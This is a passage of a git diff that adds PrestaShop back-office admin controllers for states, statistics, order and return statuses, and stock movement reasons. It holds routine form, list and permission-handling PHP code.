=> $this->l('Delete selected items?')), + 'enableSelection' => array('text' => $this->l('Enable selection')), + 'disableSelection' => array('text' => $this->l('Disable selection')), + 'affectzone' => array('text' => $this->l('Affect a new zone')) + ); + + $this->fields_list = array( + 'id_state' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'filter_key' => 'a!name' + ), + 'iso_code' => array( + 'title' => $this->l('ISO code'), + 'align' => 'center', + 'width' => 75 + ), + 'zone' => array( + 'title' => $this->l('Zone'), + 'width' => 100, + 'filter_key' => 'z!name' + ), + 'active' => array( + 'title' => $this->l('Enabled'), + 'width' => 70, + 'active' => 'status', + 'filter_key' => 'a!active', + 'align' => 'center', + 'type' => 'bool', + 'orderby' => false + ) + ); + + parent::__construct(); + } + + public function renderList() + { + $this->_select = 'z.`name` AS zone'; + $this->_join = 'LEFT JOIN `'._DB_PREFIX_.'zone` z ON (z.`id_zone` = a.`id_zone`)'; + + $this->tpl_list_vars['zones'] = Zone::getZones(); + return parent::renderList(); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('States'), + 'image' => '../img/admin/world.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Name:'), + 'name' => 'name', + 'size' => 30, + 'maxlength' => 32, + 'required' => true, + 'desc' => $this->l('Provide the State name to be display in addresses and on invoices.') + ), + array( + 'type' => 'text', + 'label' => $this->l('ISO code:'), + 'name' => 'iso_code', + 'size' => 7, + 'maxlength' => 7, + 'required' => true, + 'class' => 'uppercase', + 'desc' => $this->l('1 to 4 letter ISO code') + ), + array( + 'type' => 'select', + 'label' => $this->l('Country:'), + 'name' => 'id_country', + 'required' => false, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id, false, true), + 'id' => 'id_country', + 'name' => 'name', + ), + 'desc' => $this->l('Country where the state, region or city is located') + ), + array( + 'type' => 'select', + 'label' => $this->l('Zone:'), + 'name' => 'id_zone', + 'required' => false, + 'options' => array( + 'query' => Zone::getZones(), + 'id' => 'id_zone', + 'name' => 'name' + ), + 'desc' => array( + $this->l('Geographical region where this state is located.'), + $this->l('Used for shipping') + ) + ), + array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => '<img src="../img/admin/enabled.gif" alt="'.$this->l('Enabled').'" title="'.$this->l('Enabled').'" />' + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => '<img src="../img/admin/disabled.gif" alt="'.$this->l('Disabled').'" title="'.$this->l('Disabled').'" />' + ) + ), + 'desc' => $this->l('Enabled or disabled') + ) + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + + return parent::renderForm(); + } + + public function postProcess() + { + if (Tools::isSubmit($this->table.'Orderby') || Tools::isSubmit($this->table.'Orderway')) + $this->filter = true; + + if (!isset($this->table)) + return false; + + if (!Tools::getValue('id_'.$this->table)) + { + if (Validate::isStateIsoCode(Tools::getValue('iso_code')) && State::getIdByIso(Tools::getValue('iso_code'), Tools::getValue('id_country'))) + $this->errors[] = Tools::displayError('This ISO code already exists. You cannot create two states with the same ISO code.'); + } + else if (Validate::isStateIsoCode(Tools::getValue('iso_code'))) + { + $id_state = State::getIdByIso(Tools::getValue('iso_code'), Tools::getValue('id_country')); + if ($id_state && $id_state != Tools::getValue('id_'.$this->table)) + $this->errors[] = Tools::displayError('This ISO code already exists. You cannot create two states with the same ISO code.'); + } + + /* Delete object */ + if (isset($_GET['delete'.$this->table])) + { + // set token + $token = Tools::getValue('token') ? Tools::getValue('token') : $this->token; + + if ($this->tabAccess['delete'] === '1') + { + if (Validate::isLoadedObject($object = $this->loadObject()) && isset($this->fieldImageSettings)) + { + if (!$object->isUsed()) + { + // check if request at least one object with noZeroObject + if (isset($object->noZeroObject) && count($taxes = call_user_func(array($this->className, $object->noZeroObject))) <= 1) + $this->errors[] = Tools::displayError('You need at least one object.').' <b>'.$this->table.'</b><br />'.Tools::displayError('You cannot delete all of the items.'); + else + { + if ($this->deleted) + { + $object->deleted = 1; + if ($object->update()) + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.$token); + } + else if ($object->delete()) + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.$token); + $this->errors[] = Tools::displayError('An error occurred during deletion.'); + } + } + else + $this->errors[] = Tools::displayError('This state was used in at least one address. It cannot be removed.'); + } + else + $this->errors[] = Tools::displayError('An error occurred while deleting the object.').' <b>'.$this->table.'</b> '.Tools::displayError('(cannot load object)'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to delete this.'); + } + else + parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminStatsController.php b/controllers/admin/AdminStatsController.php new file mode 100755 index 0000000..3d049c8 --- /dev/null +++ b/controllers/admin/AdminStatsController.php @@ -0,0 +1,29 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminStatsControllerCore extends AdminStatsTabController +{ +} \ No newline at end of file diff --git a/controllers/admin/AdminStatsTabController.php b/controllers/admin/AdminStatsTabController.php new file mode 100755 index 0000000..bbe657c --- /dev/null +++ b/controllers/admin/AdminStatsTabController.php @@ -0,0 +1,250 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +abstract class AdminStatsTabControllerCore extends AdminPreferencesControllerCore +{ + public function init() + { + parent::init(); + + $this->action = 'view'; + $this->display = 'view'; + } + + public function initContent() + { + $this->initTabModuleList(); + $this->addToolBarModulesListButton(); + $this->toolbar_title = $this->l('Stats', 'AdminStatsTab'); + if ($this->display == 'view') + { + // Some controllers use the view action without an object + if ($this->className) + $this->loadObject(true); + $this->content .= $this->renderView(); + } + + $this->content .= $this->displayMenu(); + $this->content .= $this->displayEngines(); + $this->content .= $this->displayCalendar(); + $this->content .= $this->displayStats(); + + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + public function displayCalendar() + { + return AdminStatsTabController::displayCalendarForm(array( + 'Calendar' => $this->l('Calendar', 'AdminStatsTab'), + 'Day' => $this->l('Day', 'AdminStatsTab'), + 'Month' => $this->l('Month', 'AdminStatsTab'), + 'Year' => $this->l('Year', 'AdminStatsTab'), + 'From' => $this->l('From:', 'AdminStatsTab'), + 'To' => $this->l('To:', 'AdminStatsTab'), + 'Save' => $this->l('Save', 'AdminStatsTab') + ), $this->token); + } + + public static function displayCalendarForm($translations, $token, $action = null, $table = null, $identifier = null, $id = null) + { + $context = Context::getContext(); + $tpl = $context->controller->createTemplate('calendar.tpl'); + + $context->controller->addJqueryUI('ui.datepicker'); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $token, + 'action' => $action, + 'table' => $table, + 'identifier' => $identifier, + 'id' => $id, + 'translations' => $translations, + 'datepickerFrom' => Tools::getValue('datepickerFrom', $context->employee->stats_date_from), + 'datepickerTo' => Tools::getValue('datepickerTo', $context->employee->stats_date_to) + )); + + return $tpl->fetch(); + } + + protected function displayEngines() + { + $tpl = $this->createTemplate('engines.tpl'); + + $autoclean_period = array( + 'never' => $this->l('Never', 'AdminStatsTab'), + 'week' => $this->l('Week', 'AdminStatsTab'), + 'month' => $this->l('Month', 'AdminStatsTab'), + 'year' => $this->l('Year', 'AdminStatsTab') + ); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $this->token, + 'graph_engine' => Configuration::get('PS_STATS_RENDER'), + 'grid_engine' => Configuration::get('PS_STATS_GRID_RENDER'), + 'auto_clean' => Configuration::get('PS_STATS_OLD_CONNECT_AUTO_CLEAN'), + 'array_graph_engines' => ModuleGraphEngine::getGraphEngines(), + 'array_grid_engines' => ModuleGridEngine::getGridEngines(), + 'array_auto_clean' => $autoclean_period, + )); + + return $tpl->fetch(); + } + + public function displayMenu() + { + $tpl = $this->createTemplate('menu.tpl'); + + $modules = $this->getModules(); + $module_instance = array(); + foreach ($modules as $module) + $module_instance[$module['name']] = Module::getInstanceByName($module['name']); + + $tpl->assign(array( + 'current' => self::$currentIndex, + 'token' => $this->token, + 'modules' => $modules, + 'module_instance' => $module_instance + )); + + return $tpl->fetch(); + } + + protected function getModules() + { + $sql = 'SELECT h.`name` AS hook, m.`name` + FROM `'._DB_PREFIX_.'module` m + LEFT JOIN `'._DB_PREFIX_.'hook_module` hm ON hm.`id_module` = m.`id_module` + LEFT JOIN `'._DB_PREFIX_.'hook` h ON hm.`id_hook` = h.`id_hook` + WHERE h.`name` LIKE \'displayAdminStatsModules\' + AND m.`active` = 1 + GROUP BY hm.id_module + ORDER BY hm.`position`'; + return Db::getInstance()->executeS($sql); + } + + public function displayStats() + { + $tpl = $this->createTemplate('stats.tpl'); + + if ((!($module_name = Tools::getValue('module')) || !Validate::isModuleName($module_name)) && ($module_instance = Module::getInstanceByName('statsforecast')) && $module_instance->active) + $module_name = 'statsforecast'; + + if ($module_name) + { + $_GET['module'] = $module_name; + + if (!isset($module_instance)) + $module_instance = Module::getInstanceByName($module_name); + + if ($module_instance && $module_instance->active) + $hook = Hook::exec('displayAdminStatsModules', null, $module_instance->id); + } + + $tpl->assign(array( + 'module_name' => $module_name, + 'module_instance' => isset($module_instance) ? $module_instance : null, + 'hook' => isset($hook) ? $hook : null + )); + + return $tpl->fetch(); + } + + public function postProcess() + { + $this->context = Context::getContext(); + if (Tools::isSubmit('submitDatePicker')) + { + if (!Validate::isDate($from = Tools::getValue('datepickerFrom')) || !Validate::isDate($to = Tools::getValue('datepickerTo'))) + $this->errors[] = Tools::displayError('The specified date is invalid.'); + } + if (Tools::isSubmit('submitDateDay')) + { + $from = date('Y-m-d'); + $to = date('Y-m-d'); + } + if (Tools::isSubmit('submitDateDayPrev')) + { + $yesterday = time() - 60 * 60 * 24; + $from = date('Y-m-d', $yesterday); + $to = date('Y-m-d', $yesterday); + } + if (Tools::isSubmit('submitDateMonth')) + { + $from = date('Y-m-01'); + $to = date('Y-m-t'); + } + if (Tools::isSubmit('submitDateMonthPrev')) + { + $m = (date('m') == 1 ? 12 : date('m') - 1); + $y = ($m == 12 ? date('Y') - 1 : date('Y')); + $from = $y.'-'.$m.'-01'; + $to = $y.'-'.$m.date('-t', mktime(12, 0, 0, $m, 15, $y)); + } + if (Tools::isSubmit('submitDateYear')) + { + $from = date('Y-01-01'); + $to = date('Y-12-31'); + } + if (Tools::isSubmit('submitDateYearPrev')) + { + $from = (date('Y') - 1).date('-01-01'); + $to = (date('Y') - 1).date('-12-31'); + } + if (isset($from) && isset($to) && !count($this->errors)) + { + $this->context->employee->stats_date_from = $from; + $this->context->employee->stats_date_to = $to; + $this->context->employee->update(); + Tools::redirectAdmin($_SERVER['REQUEST_URI']); + } + if (Tools::getValue('submitSettings')) + { + if ($this->tabAccess['edit'] === '1') + { + self::$currentIndex .= '&module='.Tools::getValue('module'); + Configuration::updateValue('PS_STATS_RENDER', Tools::getValue('PS_STATS_RENDER', Configuration::get('PS_STATS_RENDER'))); + Configuration::updateValue('PS_STATS_GRID_RENDER', Tools::getValue('PS_STATS_GRID_RENDER', Configuration::get('PS_STATS_GRID_RENDER'))); + Configuration::updateValue('PS_STATS_OLD_CONNECT_AUTO_CLEAN', Tools::getValue('PS_STATS_OLD_CONNECT_AUTO_CLEAN', Configuration::get('PS_STATS_OLD_CONNECT_AUTO_CLEAN'))); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + } + + protected function getDate() + { + $year = isset($this->context->cookie->stats_year) ? $this->context->cookie->stats_year : date('Y'); + $month = isset($this->context->cookie->stats_month) ? sprintf('%02d', $this->context->cookie->stats_month) : '%'; + $day = isset($this->context->cookie->stats_day) ? sprintf('%02d', $this->context->cookie->stats_day) : '%'; + return $year.'-'.$month.'-'.$day; + } +} diff --git a/controllers/admin/AdminStatusesController.php b/controllers/admin/AdminStatusesController.php new file mode 100755 index 0000000..e1cc6f8 --- /dev/null +++ b/controllers/admin/AdminStatusesController.php @@ -0,0 +1,539 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminStatusesControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'order_state'; + $this->className = 'OrderState'; + $this->lang = true; + $this->deleted = false; + $this->colorOnBackground = false; + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + $this->context = Context::getContext(); + $this->multishop_context = Shop::CONTEXT_ALL; + $this->imageType = 'gif'; + $this->fieldImageSettings = array( + 'name' => 'icon', + 'dir' => 'os' + ); + parent::__construct(); + } + + public function init() + { + if (Tools::isSubmit('addorder_return_state')) + $this->display = 'add'; + if (Tools::isSubmit('updateorder_return_state')) + $this->display = 'edit'; + + return parent::init(); + } + + /** + * init all variables to render the order status list + */ + protected function initOrderStatutsList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->bulk_actions = array( + 'delete' => array( + 'text' => $this->l('Delete selected'), + 'confirm' => $this->l('Delete selected items?') + ) + ); + + $this->fields_list = array( + 'id_order_state' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'width' => 'auto', + 'color' => 'color' + ), + 'logo' => array( + 'title' => $this->l('Icon'), + 'align' => 'center', + 'image' => 'os', + 'width' => 25, + 'orderby' => false, + 'search' => false + ), + 'send_email' => array( + 'title' => $this->l('Send email to customer'), + 'align' => 'center', + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'width' => 190, + 'type' => 'bool', + 'orderby' => false + ), + 'delivery' => array( + 'title' => $this->l('Delivery'), + 'align' => 'center', + 'width' => 25, + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'orderby' => false + ) + , + 'invoice' => array( + 'title' => $this->l('Invoice'), + 'align' => 'center', + 'width' => 25, + 'icon' => array( + '1' => 'enabled.gif', + '0' => 'disabled.gif' + ), + 'type' => 'bool', + 'orderby' => false + ), + 'template' => array( + 'title' => $this->l('Email template'), + 'width' => 120 + ) + ); + } + + /** + * init all variables to render the order return list + */ + protected function initOrdersReturnsList() + { + $this->table = 'order_return_state'; + $this->_defaultOrderBy = $this->identifier = 'id_order_return_state'; + $this->deleted = false; + $this->_orderBy = null; + + $this->addRowAction('editstatus'); + $this->addRowActionSkipList('delete', array(1, 2, 3, 4, 5)); + + $this->fields_list = array( + 'id_order_return_state' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Name'), + 'align' => 'left', + 'width' => 'auto', + 'color' => 'color' + ) + ); + } + + protected function initOrderReturnsForm() + { + $id_order_return_state = (int)Tools::getValue('id_order_return_state'); + + // Create Object OrderReturnState + $order_return_state = new OrderReturnState($id_order_return_state); + + //init field form variable for order return form + $this->fields_form = array(); + + //$this->initToolbar(); + $this->getlanguages(); + $helper = new HelperForm(); + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = 'order_return_state'; + $helper->identifier = 'id_order_return_state'; + $helper->id = $order_return_state->id; + $helper->toolbar_scroll = false; + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + + if ($order_return_state->id) + $helper->fields_value = array( + 'name' => $this->getFieldValue($order_return_state, 'name'), + 'color' => $this->getFieldValue($order_return_state, 'color'), + ); + else + $helper->fields_value = $this->getFieldsValue($order_return_state); + $helper->toolbar_btn = $this->toolbar_btn; + $helper->title = $this->l('Edit Order Status'); + return $helper; + } + + /** + * Function used to render the list to display for this controller + */ + public function renderList() + { + //init and render the first list + $this->initOrderStatutsList(); + $lists = parent::renderList(); + + //init and render the second list + $this->_filter = false; + $this->initOrdersReturnsList(); + + // call postProcess() to take care of actions and filters + $this->postProcess(); + $this->toolbar_title = $this->l('Return status'); + $this->checkFilterForOrdersReturnsList(); + + parent::initToolbar(); + $lists .= parent::renderList(); + + return $lists; + } + + protected function checkFilterForOrdersReturnsList() + { + // test if a filter is applied for this list + if (Tools::isSubmit('submitFilter'.$this->table) || $this->context->cookie->{'submitFilter'.$this->table} !== false) + $this->filter = true; + + // test if a filter reset request is required for this list + if (isset($_POST['submitReset'.$this->table])) + $this->action = 'reset_filters'; + else + $this->action = ''; + + } + + public function renderForm() + { + if (Tools::isSubmit('updateorder_state') || Tools::isSubmit('addorder_state')) + return $this->renderOrderStatusForm(); + else if (Tools::isSubmit('updateorder_return_state') || Tools::isSubmit('addorder_return_state')) + return $this->renderOrderReturnsForm(); + } + + protected function renderOrderStatusForm() + { + $this->fields_form = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Order status'), + 'image' => '../img/admin/time.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Status name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l('Invalid characters: numbers and').' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l('Order status (e.g. \'Pending\')') + ), + array( + 'type' => 'file', + 'label' => $this->l('Icon:'), + 'name' => 'icon', + 'desc' => $this->l('Upload an icon from your computer (File type: .gif, suggested size: 16x16)') + ), + array( + 'type' => 'color', + 'label' => $this->l('Color:'), + 'name' => 'color', + 'size' => 30, + 'desc' => $this->l('Status will be highlighted in this color. (HTML colors only)').' "lightblue", "#CC6600")' + ), + array( + 'type' => 'checkbox', + 'name' => 'logable', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Consider the associated order as validated.'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'invoice', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Allow a customer to download and view PDF versions of their invoice.'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'hidden', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Hide this state in all customer orders'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'send_email', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Send an email to the customer when his/her order status has changed.'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'shipped', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Set the order as shipped'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'paid', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Set the order as paid'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'checkbox', + 'name' => 'delivery', + 'values' => array( + 'query' => array( + array('id' => 'on', 'name' => $this->l('Show delivery PDF'), 'val' => '1'), + ), + 'id' => 'id', + 'name' => 'name' + ) + ), + array( + 'type' => 'select_template', + 'label' => $this->l('Template:'), + 'name' => 'template', + 'lang' => true, + 'options' => array( + 'query' => $this->getTemplates($this->context->language->iso_code), + 'id' => 'id', + 'name' => 'name' + ), + 'hint' => $this->l('Only letters, number and hashtags are allowed.'), + 'desc' => $this->l('Email template for both .html and .txt') + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_value = array( + 'logable_on' => $this->getFieldValue($obj, 'logable'), + 'invoice_on' => $this->getFieldValue($obj, 'invoice'), + 'hidden_on' => $this->getFieldValue($obj, 'hidden'), + 'send_email_on' => $this->getFieldValue($obj, 'send_email'), + 'shipped_on' => $this->getFieldValue($obj, 'shipped'), + 'paid_on' => $this->getFieldValue($obj, 'paid'), + 'delivery_on' => $this->getFieldValue($obj, 'delivery') + ); + + return parent::renderForm(); + } + + protected function renderOrderReturnsForm() + { + $helper = $this->initOrderReturnsForm(); + + $this->fields_form[0]['form'] = array( + 'tinymce' => true, + 'legend' => array( + 'title' => $this->l('Order status'), + 'image' => '../img/admin/time.gif' + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Status name:'), + 'name' => 'name', + 'lang' => true, + 'size' => 40, + 'required' => true, + 'hint' => $this->l('Invalid characters: numbers and').' !<>,;?=+()@#"�{}_$%:', + 'desc' => $this->l('Order\'s return status name') + ), + array( + 'type' => 'color', + 'label' => $this->l('Color:'), + 'name' => 'color', + 'size' => 30, + 'desc' => $this->l('Status will be highlighted in this color. (HTML colors only)').' "lightblue", "#CC6600")' + ) + ), + 'submit' => array( + 'title' => $this->l('Save'), + 'class' => 'button' + ) + ); + return $helper->generateForm($this->fields_form); + } + + protected function getTemplates($iso_code) + { + $array = array(); + if (!file_exists(_PS_ADMIN_DIR_.'/../mails/'.$iso_code)) + return false; + $templates = scandir(_PS_ADMIN_DIR_.'/../mails/'.$iso_code); + foreach ($templates as $key => $template) + if (!strncmp(strrev($template), 'lmth.', 5)) + $array[] = array( + 'id' => substr($template, 0, -5), + 'name' => substr($template, 0, -5) + ); + + return $array; + } + + public function postProcess() + { + if (Tools::isSubmit($this->table.'Orderby') || Tools::isSubmit($this->table.'Orderway')) + $this->filter = true; + + if (Tools::isSubmit('submitAddorder_return_state') || Tools::isSubmit('submitAddorder_return_state')) + { + $id_order_return_state = Tools::getValue('id_order_return_state'); + + // Create Object OrderReturnState + $order_return_state = new OrderReturnState((int)$id_order_return_state); + + $order_return_state->color = Tools::getValue('color'); + $order_return_state->name = array(); + $languages = Language::getLanguages(false); + foreach ($languages as $language) + $order_return_state->name[$language['id_lang']] = Tools::getValue('name_'.$language['id_lang']); + + // Update object + if (!$order_return_state->save()) + $this->errors[] = Tools::displayError('An error has occurred: Can\'t save the current order\'s return state.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=4&token='.$this->token); + } + + if (Tools::isSubmit('submitBulkdeleteorder_return_state')) + { + $this->className = 'OrderReturnState'; + $this->table = 'order_return_state'; + $this->boxes = Tools::getValue('order_return_stateBox'); + parent::processBulkDelete(); + } + + if (Tools::isSubmit('deleteorder_return_state')) + { + $id_order_return_state = Tools::getValue('id_order_return_state'); + + // Create Object OrderReturnState + $order_return_state = new OrderReturnState((int)$id_order_return_state); + + if (!$order_return_state->delete()) + $this->errors[] = Tools::displayError('An error has occurred: Can\'t delete the current order\'s return state.'); + else + Tools::redirectAdmin(self::$currentIndex.'&conf=1&token='.$this->token); + } + + if (Tools::isSubmit('submitAdd'.$this->table)) + { + $this->deleted = false; // Disabling saving historisation + $_POST['invoice'] = (int)Tools::getValue('invoice_on'); + $_POST['logable'] = (int)Tools::getValue('logable_on'); + $_POST['send_email'] = (int)Tools::getValue('send_email_on'); + $_POST['hidden'] = (int)Tools::getValue('hidden_on'); + $_POST['shipped'] = (int)Tools::getValue('shipped_on'); + $_POST['paid'] = (int)Tools::getValue('paid_on'); + $_POST['delivery'] = (int)Tools::getValue('delivery_on'); + if (!$_POST['send_email']) + { + $languages = Language::getLanguages(false); + foreach ($languages as $language) + $_POST['template_'.$language['id_lang']] = ''; + } + + return parent::postProcess(); + } + else if (Tools::isSubmit('delete'.$this->table)) + { + $order_state = new OrderState(Tools::getValue('id_order_state'), $this->context->language->id); + if (!$order_state->isRemovable()) + $this->errors[] = $this->l('For security reasons, you cannot delete default order statuses.'); + else + return parent::postProcess(); + } + else if (Tools::isSubmit('submitBulkdelete'.$this->table)) + { + foreach (Tools::getValue($this->table.'Box') as $selection) + { + $order_state = new OrderState((int)$selection, $this->context->language->id); + if (!$order_state->isRemovable()) + { + $this->errors[] = $this->l('For security reasons, you cannot delete default order statuses.'); + break; + } + } + + if (!count($this->errors)) + return parent::postProcess(); + } + else + return parent::postProcess(); + } + + protected function filterToField($key, $filter) + { + if ($this->table == 'order_state') + $this->initOrderStatutsList(); + elseif ($this->table == 'order_return_state') + $this->initOrdersReturnsList(); + return parent::filterToField($key, $filter); + } +} diff --git a/controllers/admin/AdminStockConfigurationController.php b/controllers/admin/AdminStockConfigurationController.php new file mode 100755 index 0000000..0d71928 --- /dev/null +++ b/controllers/admin/AdminStockConfigurationController.php @@ -0,0 +1,574 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class AdminStockConfigurationControllerCore extends AdminController +{ + /* + * By default, we use StockMvtReason as the table / className + */ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'stock_mvt_reason'; + $this->className = 'StockMvtReason'; + $this->lang = true; + $this->multishop_context = Shop::CONTEXT_ALL; + + // defines fields + $this->fields_list = array( + 'id_stock_mvt_reason' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 40, + 'search' => false, + ), + 'sign' => array( + 'title' => $this->l('Sign'), + 'width' => 100, + 'align' => 'center', + 'type' => 'select', + 'filter_key' => 'a!sign', + 'list' => array( + '1' => $this->l('Increase'), + '-1' => $this->l('Decrease'), + ), + 'icon' => array( + -1 => 'remove_stock.png', + 1 => 'add_stock.png' + ), + 'orderby' => false + ), + 'name' => array( + 'title' => $this->l('Name'), + 'filter_key' => 'b!name', + 'width' => 250 + ), + ); + + // loads labels (incremenation) + $reasons_inc = StockMvtReason::getStockMvtReasonsWithFilter($this->context->language->id, + array(Configuration::get('PS_STOCK_MVT_TRANSFER_TO')), 1); + // loads labaels (decremenation) + $reasons_dec = StockMvtReason::getStockMvtReasonsWithFilter($this->context->language->id, + array(Configuration::get('PS_STOCK_MVT_TRANSFER_FROM')), -1); + + // defines options for StockMvt + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Options'), + 'fields' => array( + 'PS_STOCK_MVT_INC_REASON_DEFAULT' => array( + 'title' => $this->l('Default label for increasing stock:'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $reasons_inc, + 'identifier' => 'id_stock_mvt_reason', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_STOCK_MVT_DEC_REASON_DEFAULT' => array( + 'title' => $this->l('Default label for decreasing stock:'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $reasons_dec, + 'identifier' => 'id_stock_mvt_reason', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_STOCK_CUSTOMER_ORDER_REASON' => array( + 'title' => $this->l('Default label for decreasing stock when a customer order is shipped:'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $reasons_dec, + 'identifier' => 'id_stock_mvt_reason', + 'visibility' => Shop::CONTEXT_ALL + ), + 'PS_STOCK_MVT_SUPPLY_ORDER' => array( + 'title' => $this->l('Default label for increasing stock when a supply order is received:'), + 'cast' => 'intval', + 'type' => 'select', + 'list' => $reasons_inc, + 'identifier' => 'id_stock_mvt_reason', + 